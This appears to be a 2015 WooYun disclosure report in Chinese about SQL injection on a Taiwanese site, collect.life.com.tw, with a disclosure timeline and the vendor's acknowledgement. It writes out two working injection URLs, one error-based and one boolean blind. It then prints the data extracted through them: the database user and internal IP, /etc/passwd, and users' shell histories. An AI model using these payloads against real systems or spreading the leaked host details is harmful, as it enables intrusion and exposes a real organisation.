当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096677

漏洞标题:台湾Life生活網某站点MySQL Error Based注射

相关厂商:life.com.tw

漏洞作者: lijiejie

提交时间:2015-02-10 21:15

修复时间:2015-03-27 21:16

公开时间:2015-03-27 21:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-10: 细节已通知厂商并且等待厂商处理中
2015-02-14: 厂商已经确认,细节仅向厂商公开
2015-02-24: 细节向核心白帽子及相关领域专家公开
2015-03-06: 细节向普通白帽子公开
2015-03-16: 细节向实习白帽子公开
2015-03-27: 细节向公众公开

简要描述:

台湾Life生活網某站点MySQL Error Based注射,以及一处bool blind盲注。 root用户

详细说明:

注射点:

http://collect.life.com.tw/services/service.php?a=album&home_id=(select 1 and row(1,1)>(select count(*), concat(floor(rand(0)*2),0x5e5e5e,user(),0x5e5e5e) x from information_schema.character_sets group by x))&m=u&p=2&v=60906981.20744551&width=190


参数home_id可注入。MySQL error based injection.
注射点2:

http://collect.life.com.tw/note.php?act=get_adword&action=index&num=1&sid=1%27%20and%20length(user())=18--


参数sid可注射,bool blind.

漏洞证明:

life.com.tw.mysqli.png


root用户:

root@113.196.42.34


[*] ad
[*] collect
[*] information_schema
[*] mysql
[*] top_word


读取/etc/passwd:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
william:x:500:500::/home/william:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nginx:x:498:499:nginx user:/var/cache/nginx:/sbin/nologin
lawliet:x:501:501::/home/lawliet:/bin/bash
sbcache:x:502:502::/home/sbcache:/bin/bash
chuser:x:503:503::/home/chuser:/bin/bash
zabbix:x:497:498:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin


读取/home/william/.bash_history

sudo su -
vim /etc/sudoers
vi /etc/sudoers
exit
sudo su -
ls
ls -al
mysql -v
cat /etc/*release*
exit
ls
cd Websites/
ls
cd Default/
ls
cd /var/www/html/
ls
exit
ls
ifconfig
ping 192.169.1.92
ping 192.168.1.92
ping 192.168.1.1
ping 192.168.1.84
ifconfig
ping 192.168.168.92
ping 192.168.168.82
ping 192.168.168.84
sudo su -
ls
/etc/rc.d/init.d/mysqld restart
sudo su -
ls
exit


读取/home/sbcache/.bash_history

chmod 700 /home/sbcache
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
ifconfig
ls -al /home
chmod 700 /home/sbcache
ls -al /home
pwd
ifconfig
ls
ls -al
chmod 700 .ssh/
chmod 700 .ssh
cd .ssh
ls
ls -al
chmod 600 authorized_keys
ls -al

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-14 02:37

厂商回复:

謝謝通報

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-10 23:10 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    这个应该提交到合作的台湾安全平台去

  2. 2015-02-11 12:03 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:294 | Just for fun.)

    @px1624 看到zone里面的新第三方机构,试着提了个过来